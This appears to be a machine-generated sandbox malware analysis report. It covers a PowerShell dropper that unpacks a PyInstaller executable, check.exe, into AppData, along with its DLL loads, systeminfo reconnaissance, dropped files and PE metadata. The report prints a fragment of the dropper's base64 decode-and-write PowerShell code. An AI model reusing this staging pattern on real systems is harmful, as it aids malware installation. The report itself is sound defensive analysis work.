Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5core.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: msvcp140_1.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5widgets.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5gui.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5gui.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d9.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dcomp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: download.ps1

Static file information: File size 51312121 > 1048576

Source:	Binary string: C:\Users\qt\work\qt\qtsvg\plugins\imageformats\qsvg.pdb source: check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtsvg\plugins\iconengines\qsvgicon.pdb source: check.exe, 00000009.00000003.1534307223.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\generic\qtuiotouchplugin.pdb source: check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: check.exe, 0000000A.00000002.1929551289.00007FF820045000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\imageformats\qico.pdb source: check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: check.exe, 0000000A.00000002.1919072539.00007FF817012000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: check.exe, 00000009.00000003.1553092763.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1934814344.00007FF8328F4000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: check.exe, 00000009.00000003.1519013024.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1932912138.00007FF8312D5000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: check.exe, 00000009.00000003.1553493586.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\styles\qwindowsvistastyle.pdb%% source: check.exe, 0000000A.00000002.1844584196.00007FF815697000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\styles\qwindowsvistastyle.pdb source: check.exe, 0000000A.00000002.1844584196.00007FF815697000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: check.exe, 0000000A.00000002.1934058230.00007FF8328C3000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1932337346.00007FF82F996000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\imageformats\qico.pdb source: check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\generic\qtuiotouchplugin.pdb source: check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Core.pdbT source: check.exe, 0000000A.00000002.1922404074.00007FF8175E6000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Gui.pdb source: check.exe, 0000000A.00000002.1893210919.00007FF8163DA000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933226912.00007FF8314CB000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933661076.00007FF8327DD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1930467841.00007FF8217D9000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: check.exe, 0000000A.00000002.1926008632.00007FF817DB8000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: check.exe, 00000009.00000003.1553493586.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: check.exe, 00000009.00000003.1518870580.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qtiff.pdbBB source: check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\platformthemes\qxdgdesktopportal.pdb source: check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1908082634.00007FF816C57000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdb source: check.exe, 00000009.00000003.1507846068.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933483639.00007FF8327C3000.00000002.00000001.01000000.00000014.sdmp, check.exe, 0000000B.00000003.1607144680.000002576C6C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: check.exe, 0000000A.00000002.1919072539.00007FF8170AA000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: check.exe, 0000000A.00000002.1929252341.00007FF81FFA5000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Core.pdb source: check.exe, 0000000A.00000002.1922404074.00007FF8175E6000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qtiff.pdb source: check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\imageformats\qgif.pdb source: check.exe, 00000009.00000003.1534464385.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qtga.pdb source: check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: check.exe, 00000009.00000003.1553092763.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1934814344.00007FF8328F4000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: check.exe, 0000000A.00000002.1919072539.00007FF8170AA000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qicns.pdb source: check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1932631944.00007FF830CF3000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933226912.00007FF8314CB000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1931977826.00007FF82F683000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Widgets.pdb source: check.exe, 0000000A.00000002.1869934497.00007FF815DCA000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\platforms\qwindows.pdb source: check.exe, 0000000A.00000002.1845027622.00007FF8157A4000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qwbmp.pdb source: check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817402826.000001DB18C80000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\libEGL.pdb source: check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: check.exe, 0000000A.00000002.1929252341.00007FF81FFA5000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: check.exe, 0000000A.00000002.1929858911.00007FF8217AE000.00000002.00000001.01000000.00000019.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String(${random_encoded_data});[System.IO.File]::WriteAllBytes(${random_archive_file},${random_decoded_bytes});${random_new_item}=New-Item -ItemType Directory -Path ${random_install_path};tr

Source: VCRUNTIME140.dll.9.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: MSVCP140.dll.9.dr	Static PE information: section name: .didat
Source: Qt5Core.dll.9.dr	Static PE information: section name: .qtmimed
Source: VCRUNTIME140.dll.9.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.9.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll0.9.dr	Static PE information: section name: _RDATA
Source: opengl32sw.dll.9.dr	Static PE information: section name: _RDATA
Source: qtuiotouchplugin.dll.9.dr	Static PE information: section name: .qtmetad
Source: qsvgicon.dll.9.dr	Static PE information: section name: .qtmetad
Source: qgif.dll.9.dr	Static PE information: section name: .qtmetad
Source: qicns.dll.9.dr	Static PE information: section name: .qtmetad
Source: qico.dll.9.dr	Static PE information: section name: .qtmetad
Source: qjpeg.dll.9.dr	Static PE information: section name: .qtmetad
Source: qsvg.dll.9.dr	Static PE information: section name: .qtmetad
Source: libcrypto-3.dll.9.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.9.dr	Static PE information: section name: .00cfg
Source: python313.dll.9.dr	Static PE information: section name: PyRuntim
Source: qtga.dll.9.dr	Static PE information: section name: .qtmetad
Source: qtiff.dll.9.dr	Static PE information: section name: .qtmetad
Source: qwbmp.dll.9.dr	Static PE information: section name: .qtmetad
Source: qwebp.dll.9.dr	Static PE information: section name: .qtmetad
Source: qminimal.dll.9.dr	Static PE information: section name: .qtmetad
Source: qoffscreen.dll.9.dr	Static PE information: section name: .qtmetad
Source: qwebgl.dll.9.dr	Static PE information: section name: .qtmetad
Source: qwindows.dll.9.dr	Static PE information: section name: .qtmetad
Source: qxdgdesktopportal.dll.9.dr	Static PE information: section name: .qtmetad
Source: qwindowsvistastyle.dll.9.dr	Static PE information: section name: .qtmetad
Source: VCRUNTIME140.dll.11.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.11.dr	Static PE information: section name: _RDATA
Source: MSVCP140.dll.11.dr	Static PE information: section name: .didat
Source: Qt5Core.dll.11.dr	Static PE information: section name: .qtmimed
Source: libcrypto-3.dll.11.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.11.dr	Static PE information: section name: .00cfg
Source: VCRUNTIME140.dll0.11.dr	Static PE information: section name: _RDATA
Source: python313.dll.11.dr	Static PE information: section name: PyRuntim
Source: opengl32sw.dll.11.dr	Static PE information: section name: _RDATA
Source: qtuiotouchplugin.dll.11.dr	Static PE information: section name: .qtmetad
Source: qsvgicon.dll.11.dr	Static PE information: section name: .qtmetad
Source: qgif.dll.11.dr	Static PE information: section name: .qtmetad
Source: qicns.dll.11.dr	Static PE information: section name: .qtmetad
Source: qico.dll.11.dr	Static PE information: section name: .qtmetad
Source: qjpeg.dll.11.dr	Static PE information: section name: .qtmetad
Source: qsvg.dll.11.dr	Static PE information: section name: .qtmetad
Source: qtga.dll.11.dr	Static PE information: section name: .qtmetad
Source: qtiff.dll.11.dr	Static PE information: section name: .qtmetad
Source: qwbmp.dll.11.dr	Static PE information: section name: .qtmetad
Source: qwebp.dll.11.dr	Static PE information: section name: .qtmetad
Source: qminimal.dll.11.dr	Static PE information: section name: .qtmetad
Source: qoffscreen.dll.11.dr	Static PE information: section name: .qtmetad
Source: qwebgl.dll.11.dr	Static PE information: section name: .qtmetad
Source: qwindows.dll.11.dr	Static PE information: section name: .qtmetad
Source: qxdgdesktopportal.dll.11.dr	Static PE information: section name: .qtmetad
Source: qwindowsvistastyle.dll.11.dr	Static PE information: section name: .qtmetad

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 22_2_00007FF81231D5E4 push rbx; retn 0000h

22_2_00007FF81231D5F5

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qicns.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qminimal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Gui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtGui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtCore.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qico.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qgif.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\sip.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Qml.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwindows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_socket.pyd	Jump to dropped file
